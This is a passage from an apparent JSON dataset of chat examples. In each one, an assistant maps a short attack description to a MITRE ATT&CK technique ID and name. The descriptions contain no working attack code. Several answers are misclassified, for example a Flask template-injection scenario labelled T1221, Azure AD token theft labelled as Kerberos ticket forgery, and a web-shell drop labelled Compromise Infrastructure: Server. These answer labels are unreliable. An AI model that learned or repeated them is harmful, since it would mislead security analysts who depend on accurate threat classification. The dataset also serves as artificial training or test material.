                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker registers a malicious network provider DLL via the Service Control Manager to intercept and replay authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a paid API from a threat intel provider to automatically retrieve YARA rule updates for newly observed ransomware families."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a shortcut to the user’s Startup folder that launches a malicious script at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages peer‑to‑peer NAT traversal techniques to maintain communication with its C2 server despite being behind a network address translation device."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a mass scanning tool that repeatedly probes a vulnerable printer's management interface, overwhelming its processing capabilities and causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the corporate intranet's dashboard with a fake page displaying a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a hidden file using the 'system32' folder's 'desktop.ini' attribute to conceal its configuration."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor modifies existing exploit code to target a new version of a software, expanding their arsenal."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a new COM object with a CLSID that points to a malicious DLL, causing it to load on system start."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By configuring port forwarding on a compromised router, the attacker creates a bridge across the network boundary, permitting inbound access to internal services that are otherwise inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a compromised network provider DLL into %SystemRoot%\\System32 and updates the registry to use it for authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues a net view command to discover other machines on the local network, then records their hostnames and OS types for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized script accesses the credential vault of a finance app to retrieve stored access tokens."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary alters the system BIOS firmware to embed malicious code that executes before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink embedded in a PDF attachment leads to a malicious executable that runs automatically when the user clicks \"Open\"."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote code execution bug, the intruder gained shell access and edited the site’s CSS to display unauthorized imagery."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes zeros to the master boot record and partition table to render the storage device unusable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker creates new scheduled tasks that execute malware to maintain persistence on a system, what technique does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating files, the malware executed a PowerShell script that called `Remove-PSDrive -Name X` to delete the mapped drive pointing to the C2 SMB share."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sent a malicious link via direct message on Instagram, prompting the victim to log in on a fake page and capture their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber criminals use steganography to hide a malicious executable within the pixel data of a high-resolution JPEG, which is later extracted and run by a malicious image processing script on the target system."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a malicious script to call the Google Cloud Storage API and copy data from a private bucket to a rogue bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware terminates the Windows Update service to prevent patches from being applied."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a recorded voice message that mimics the company’s CEO, urging an executive assistant to provide the assistant’s corporate email password for a time‑sensitive request."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages process hollowing to replace the executable image of a legitimate process with its own malicious code before the process starts."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a command that reads the Windows Registry keys under HKLM\\SYSTEM\\CurrentControlSet\\Enum to map connected hardware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool scripts the deployment of a new DigitalOcean droplet to run ransomware."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Replace a legitimate DLL file with a malicious version that retains the original filename to evade integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is added to the AppInit_DLLs registry value to load during every process start."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hides malicious code by writing it to NTFS alternate data streams on legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker used the 'unshadow' utility to combine /etc/passwd and /etc/shadow for a complete credential dump."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Windows Transactional NTFS API, the attacker creates a hidden process that runs malicious code, achieving execution via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a web shell on a compromised Apache server to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder provisions a new IAM user in the target's cloud infrastructure using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor acquires a stolen code‑signing certificate to sign malicious updates for legitimate software."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the argument field of a legitimate .lnk file, the attacker injects a command line that runs a credential stealer at login."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑browser attack, the threat actor reads the victim's authentication cookie from the browser's storage and exfiltrates it."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs cloud service discovery by scanning the public endpoints of SaaS applications for configuration data."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a scheduled task in Azure Container Instances to periodically download and run ransomware."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insiders smuggled patient records out of the hospital on an encrypted external hard drive during a routine equipment upgrade."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script clears the Zone.Identifier ADS on a malicious payload, bypassing the Mark-of-the-Web security control."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerability in a widely used software to execute arbitrary code on the victim's machine, allowing them to maintain persistence and escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged compromised RDP credentials to perform lateral movement and install a backdoor on a critical database server."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor resolves critical Windows APIs at execution time to evade signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary scripts a batch file that runs dsadd user to create a new domain account on the network."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application dumps the browser cache and cookies from the local system into an encrypted payload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors injected code into LSASS to obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs a PowerShell command \"Get-Date\" to discover the host's system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the system's crontab to schedule execution of a reverse shell script at reboot, ensuring their code runs after each restart."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider alters financial transaction records stored in the company's ERP system to conceal fraud."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts encrypted shellcode from its resources, decrypts it in memory, and then uses a reflective DLL loading routine to execute it without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant searched for Outlook express .dbx files and transferred them to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised news site, the attacker executes a drive‑by download that silently installs a keylogger on all browsers that load the page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed stolen files within encrypted HTTPS requests to their C2 server, effectively exfiltrating data over the web channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A penetration test involves sending forged AS‑REQ messages to extract AS‑REP hashes from non‑pre‑authenticated user accounts, later cracking them to gain Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through privilege escalation, the malicious actor swaps the standard PAM module with a counterfeit one that automatically authenticates the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor collects details on the victim’s merger and acquisition history to pinpoint valuable business relationships."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of the device's ROMMON allows execution of unauthorized commands during boot."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes a symmetric encryption wrapper around its communications, employing a static 128‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a serverless function's environment variables to inject a reverse shell, allowing remote access to the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An unauthorized process reads the shadow file to collect password hashes for later offline attacks."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies the ExecStopPost directive in a service to launch a payload on shutdown."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects malicious SQL statements into a database stored procedure to alter data."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the process's heap, the threat actor changes critical variables during execution to bypass checks."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages insecure template rendering in a Python Flask app to execute arbitrary Python code via crafted input."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators capture DHCP lease information from the victim's DHCP server to map network topology."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the default admin password on the organization's edge router to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a bootkit to hijack the boot process, installing backdoors that survive OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account token is used to request higher‑privilege Azure AD tokens via token‑theft."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a counterfeit session cookie, the adversary gains persistent access to the victim's web application without needing credentials."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a DNS cache poisoning attack on a public DNS server to hijack user requests."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injecting code into a running high‑privilege process using DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses the Asynchronous Procedure Call mechanism to bypass security controls by running malicious code in an existing process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary changes the configuration of a Kubernetes pod to run a malicious container alongside legitimate workloads."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro exploits a vulnerability in the Office suite to execute PowerShell that extracts credentials from the credential manager."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
